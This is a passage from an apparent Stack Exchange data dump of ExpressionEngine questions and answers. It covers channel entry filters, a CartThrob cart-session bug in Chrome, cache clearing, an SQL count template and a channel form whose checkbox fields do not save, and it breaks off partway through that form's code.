  <row Id="25467" PostTypeId="2" ParentId="25437" CreationDate="2014-09-02T21:07:48.533" Score="1" Body="&lt;p&gt;When you view the Channel Entries list (Content-&gt;Edit) there are a number of filters available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yxkcG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the dropdowns to show entries from a particular channel, category, or status. There is no explicit total of entries shown but you can easily determine it from looking at the number of 'pages' there are in the listing. The list can be sorted by clicking on the column headings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find that you don't have access to this list. It's dependant on how your member group has been set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible to set up some front-end templates which will show you the number of entries etc.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-09-02T21:07:48.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25468" PostTypeId="1" AcceptedAnswerId="25472" CreationDate="2014-09-02T22:34:43.540" Score="5" ViewCount="563" Body="&lt;p&gt;I received a report from a user today that users in Chrome cannot add items to their cart. It seems to be a new problem only in the past few days, perhaps caused by a recent Chrome update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I later discovered that this is &lt;em&gt;only&lt;/em&gt; a chrome problem, and doesn't actually affect Firefox users at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, in Chrome, the user clicks the add to cart button, the site redirects to the cart, and the cart is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I inspected the HTTP requests for both Chrome and Firefox, I noticed that in Firefox, the exp_cartthrob_session_id cookie is maintained throughout the session. In Chrome, it seems to be reset on each request. Basically each request (GET product details page, POST add to cart, GET cart page) comes with a separate header that looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set-Cookie:exp_cartthrob_session_id=abcdefghijklmnopqrstuvwxyz; expires=Wed, 03-Sep-2014 03:17:59 GMT; Max-Age=18000; path=/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would Cartthrob be resetting the session header on every request. Is this a bug with Chrome expiring cookies, or a bug with Cartthrob? How can I get &quot;add to cart&quot; working again on my site?&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2014-10-06T12:06:38.353" Title="Cartthrob not saving items to cart in Chrome (not Firefox)" Tags="|cartthrob|sessions|shopping-cart|chrome|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25469" PostTypeId="2" ParentId="25463" CreationDate="2014-09-02T23:33:41.557" Score="2" Body="&lt;p&gt;The control panel for individual subscriptions is set to be released soon and will be updated at no additional cost.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-09-02T23:33:41.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25470" PostTypeId="1" AcceptedAnswerId="25475" CreationDate="2014-09-03T00:00:28.827" Score="0" ViewCount="33" Body="&lt;p&gt;Simple question: the /system/expressionengine/cache/importer folder has grown to 130MB. Can I delete the contents without consequences or should I leave as is?&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-03T02:34:08.820" Title="Solspace importer cache folder safe to clear?" Tags="|solspace|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25471" PostTypeId="1" AcceptedAnswerId="25528" CreationDate="2014-09-03T00:15:00.413" Score="0" ViewCount="126" Body="&lt;p&gt;I have schools, teachers and students channels with each of the students and teachers channels with a field that contains the &lt;code&gt;entry_id&lt;/code&gt; of the school they're related to (not actually using native EE relationships fields in this case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to output a list of all the schools and their total number of teachers and students but also show which of those entries are open and pending (entries only become open after being activated via link in an invite email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far outputs the school and the count of all students but I need to know how to change it so that I can output different variables for all students and pending ones.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;schools&quot;&#xA;    disable=&quot;categories|member_data|pagination|trackbacks&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    orderby=&quot;title&quot;&#xA;    sort=&quot;asc&quot;&#xA;}&#xA;&#xA;{exp:query sql=&quot;SELECT COUNT(cd.entry_id) as student_count&#xA;    FROM exp_channel_titles ct&#xA;    JOIN exp_channel_data cd ON cd.entry_id = ct.entry_id&#xA;    WHERE cd.channel_id=5&#xA;    AND cd.field_id_45={entry_id}&#xA;}&#xA;&#xA;{if count==1}&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Total schools:&amp;lt;/strong&amp;gt; {total_results}&amp;lt;/p&amp;gt;&#xA;&amp;lt;ul&amp;gt;{/if}&#xA;&#xA;    &amp;lt;li&amp;gt;{title} – {student_count}student{if student_count!=1}s{/if}&amp;lt;/li&amp;gt;&#xA;&#xA;{if count==total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;{/exp:query}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd also like to know the most optimal way to query the records from both students and teachers channels. I could double up on queries and just change the &lt;code&gt;channel_id&lt;/code&gt; and &lt;code&gt;field_id_XX&lt;/code&gt; but would like to know if there's a cleaner method.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-09-04T23:53:47.797" Title="MySQL query to output variables grouped by entry status" Tags="|mysql|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25472" PostTypeId="2" ParentId="25468" CreationDate="2014-09-03T00:56:34.243" Score="6" Body="&lt;p&gt;I discovered the problem. We were using CartThrob's fingerprinting for sessions with the configuration set to &quot;0&quot; for the default fingerprinting method. The default method creates the fingerprint as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fingerprint = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;server('HTTP_ACCEPT_LANGUAGE').$this-&amp;gt;EE-&amp;gt;input-&amp;gt;server('HTTP_ACCEPT_CHARSET').$this-&amp;gt;EE-&amp;gt;input-&amp;gt;server('HTTP_ACCEPT_ENCODING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In Chrome, the HTTP_ACCEPT_ENCODING header is different between GET and POST requests, which made CartThrob reset the session on POST requests from Chrome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was fixed by disabling session fingerprinting in the CartThrob settings.&lt;/p&gt;&#xA;" OwnerUserId="2480" LastActivityDate="2014-09-03T00:56:34.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25473" PostTypeId="1" CreationDate="2014-09-03T01:30:07.720" Score="2" ViewCount="358" Body="&lt;p&gt;I have a channel form with several checkbox fields. They go in fine but when I try to edit the form content the edits do not save. The rest of the fields save when edited so I am looking for how to modify the checkbox fields and have them save properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the entire form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;facilities&quot; url_title=&quot;{segment_3}&quot; author_id=&quot;CURRENT_USER&quot;  return=&quot;supply-chain/facility-preview/ENTRY_ID&quot; }&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; id=&quot;facilityCounter&quot; value=&quot;1&quot; /&amp;gt;&#xA;     &amp;lt;div id=&quot;facilities&quot;&amp;gt;&#xA;       &amp;lt;fieldset class=&quot;facility-info&quot;&amp;gt;&#xA;&#xA;        &amp;lt;dl&amp;gt;&#xA;        &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;Facility Name*&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; class=&quot;required&quot; value=&quot;{title}&quot;&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;        &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;Street address*&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;facility_street_address&quot; class=&quot;required&quot; value=&quot;{facility_street_address}&quot;&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;        &amp;lt;table class=&quot;city-state-zip&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th scope=&quot;col&quot;&amp;gt;City*&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th scope=&quot;col&quot;&amp;gt;State*&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th scope=&quot;col&quot;&amp;gt;Zip*&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;facility_city&quot; class=&quot;required&quot;  value=&quot;{facility_city}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;!--&amp;lt;input type=&quot;text&quot; name=&quot;facility[1][facility_state]&quot; value=&quot;&quot;&amp;gt;--&amp;gt;&#xA;                                &amp;lt;select name=&quot;facility_state&quot;&amp;gt;&#xA;                                &amp;lt;option selected value=&quot;{facility_state}&quot;&amp;gt;{facility_state}&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;AL&quot;&amp;gt;Alabama&amp;lt;/option&amp;gt;&#xA;                                &amp;lt;option value=&quot;AR&quot;&amp;gt;Arkansas&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;FL&quot;&amp;gt;Florida&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;GA&quot;&amp;gt;Georgia&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;KY&quot;&amp;gt;Kentucky&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;LA&quot;&amp;gt;Louisiana&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;MI&quot;&amp;gt;Mississippi&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;NC&quot;&amp;gt;North Carolina&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;SC&quot;&amp;gt;South Carolina&amp;lt;/option&amp;gt;&#xA;                            &amp;lt;option value=&quot;VA&quot;&amp;gt;Virginia&amp;lt;/option&amp;gt;&#xA;                         &amp;lt;/select&amp;gt;&#xA;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;validate&quot;&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;facility_zip&quot; class=&quot;zip required&quot; value=&quot;{facility_zip}&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;        &amp;lt;dt&amp;gt;&amp;lt;label&amp;gt;Facility description*&amp;lt;/label&amp;gt;&amp;lt;/dt&amp;gt;&#xA;        &amp;lt;dd class=&quot;validate&quot;&amp;gt;&amp;lt;textarea name=&quot;facility_description&quot; class=&quot;required&quot;&amp;gt;&#xA;        {exp:eehive_hacksaw}&#xA;                {facility_description}&#xA;        {/exp:eehive_hacksaw}&#xA;        &amp;lt;/textarea&amp;gt;&amp;lt;/dd&amp;gt;&#xA;            &amp;lt;/dl&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;This facility supplies components or services for:&amp;lt;/p&amp;gt;&#xA;&#xA;            &amp;lt;table class=&quot;survey&quot;&amp;gt;&#xA;&#xA;                &amp;lt;thead&amp;gt;&#xA;                    &amp;lt;tr&amp;gt;&#xA;                        &amp;lt;th scope=&quot;col&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th scope=&quot;col&quot;&amp;gt;Currently&amp;lt;br /&amp;gt;Supply&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;th scope=&quot;col&quot;&amp;gt;Don't Currently&amp;lt;br /&amp;gt; But Could Supply&amp;lt;/th&amp;gt;&#xA;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;/thead&amp;gt;&#xA;                &amp;lt;tbody&amp;gt;&#xA;                    &amp;lt;tr class=&quot;nacelle&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Nacelle&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/arrow_down.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;nacelle[data][]&quot; value=&quot;{nacelle}&quot; {if nacelle == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/arrow_down.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;nacelle[data][]&quot; value=&quot;{nacelle}&quot; {if nacelle == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;nacelle-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Drivetrain / Gearbox&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;drivetrain_gearbox[data][]&quot; value=&quot;{drivetrain_gearbox}&quot; {if drivetrain_gearbox == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;drivetrain_gearbox[data][]&quot; value=&quot;{drivetrain_gearbox}&quot; {if drivetrain_gearbox == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;nacelle-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Generator / Electrical&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;generator_electrical[data][]&quot; value=&quot;{generator_electrical}&quot; {if generator_electrical == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;generator_electrical[data][]&quot; value=&quot;{generator_electrical}&quot; {if generator_electrical == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;nacelle-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Control System&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;control_system[data][]&quot; value=&quot;{control_system}&quot; {if control_system == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;control_system[data][]&quot; value=&quot;{control_system}&quot; {if control_system == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;nacelle-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Yaw / Pitch&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;yaw_pitch[data][]&quot; value=&quot;{yaw_pitch}&quot; {if yaw_pitch == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;yaw_pitch[data][]&quot; value=&quot;{yaw_pitch}&quot; {if yaw_pitch == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;nacelle-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Housing&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;housing[data][]&quot; value=&quot;{housing}&quot; {if housing == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;housing[data][]&quot; value=&quot;{housing}&quot; {if housing == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;tr class=&quot;professional&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Professional Services&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/arrow_down.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;professional_services[data][]&quot; value=&quot;{professional_services}&quot; {if professional_services == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/arrow_down.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;professional_services[data][]&quot; value=&quot;{professional_services}&quot; {if professional_services == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;professional-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Engineering&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;engineering[data][]&quot; value=&quot;{engineering}&quot; {if engineering == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;engineering[data][]&quot; value=&quot;{engineering}&quot; {if engineering == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;professional-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Environmental Services&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;environmental_services[data][]&quot; value=&quot;{environmental_services}&quot; {if environmental_services == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;environmental_services[data][]&quot; value=&quot;{environmental_services}&quot; {if environmental_services == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;professional-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Law / Finance&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;law_finance[data][]&quot; value=&quot;{law_finance}&quot; {if law_finance == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;law_finance[data][]&quot; value=&quot;{law_finance}&quot; {if law_finance == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;professional-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Other Consulting&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;other_consulting[data][]&quot; value=&quot;{other_consulting}&quot; {if other_consulting == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;other_consulting[data][]&quot; value=&quot;{other_consulting}&quot; {if other_consulting == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;tr class=&quot;services&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Field Services&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/arrow_down.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;field_services[data][]&quot; value=&quot;{field_services}&quot; {if field_services == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/arrow_down.png&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;field_services[data][]&quot; value=&quot;{field_services}&quot; {if field_services == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;services-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Construction&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;construction[data][]&quot; value=&quot;{construction}&quot; {if construction == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;construction[data][]&quot; value=&quot;{construction}&quot; {if construction == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;services-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Logistics / Transportation&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;logistics_transportation[data][]&quot; value=&quot;{logistics_transportation}&quot; {if logistics_transportation == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;logistics_transportation[data][]&quot; value=&quot;{logistics_transportation}&quot; {if logistics_transportation == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;services-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Operations &amp;amp;amp; Maintenance&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;operations_maintenance[data][]&quot; value=&quot;{operations_maintenance}&quot; {if operations_maintenance == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;operations_maintenance[data][]&quot; value=&quot;{operations_maintenance}&quot; {if operations_maintenance == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;services-group&quot;&amp;gt;&#xA;                        &amp;lt;td class=&quot;title&quot;&amp;gt;Other Services&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;other_services[data][]&quot; value=&quot;{other_services}&quot; {if other_services == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;other_services[data][]&quot; value=&quot;{other_services}&quot; {if other_services == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;singleton&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Blades / Rotor&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;blades[data][]&quot; value=&quot;{blades}&quot; {if blades == &quot;current-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;blades[data][]&quot; value=&quot;{blades}&quot; {if blades == &quot;could-supply&quot;}checked=&quot;yes&quot;{/if}&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;/tr&amp;gt;&#xA;&#xA;                    &amp;lt;tr class=&quot;singleton&quot;&amp;gt;&#xA;                        &amp;lt;td&amp;gt;Tower&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;td&amp;gt;&amp;lt;img src=&quot;/photos/spacer.gif&quot; alt=&quot;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;tower[data][]&quot; value=&quot;{tower}&quot; {if tower == 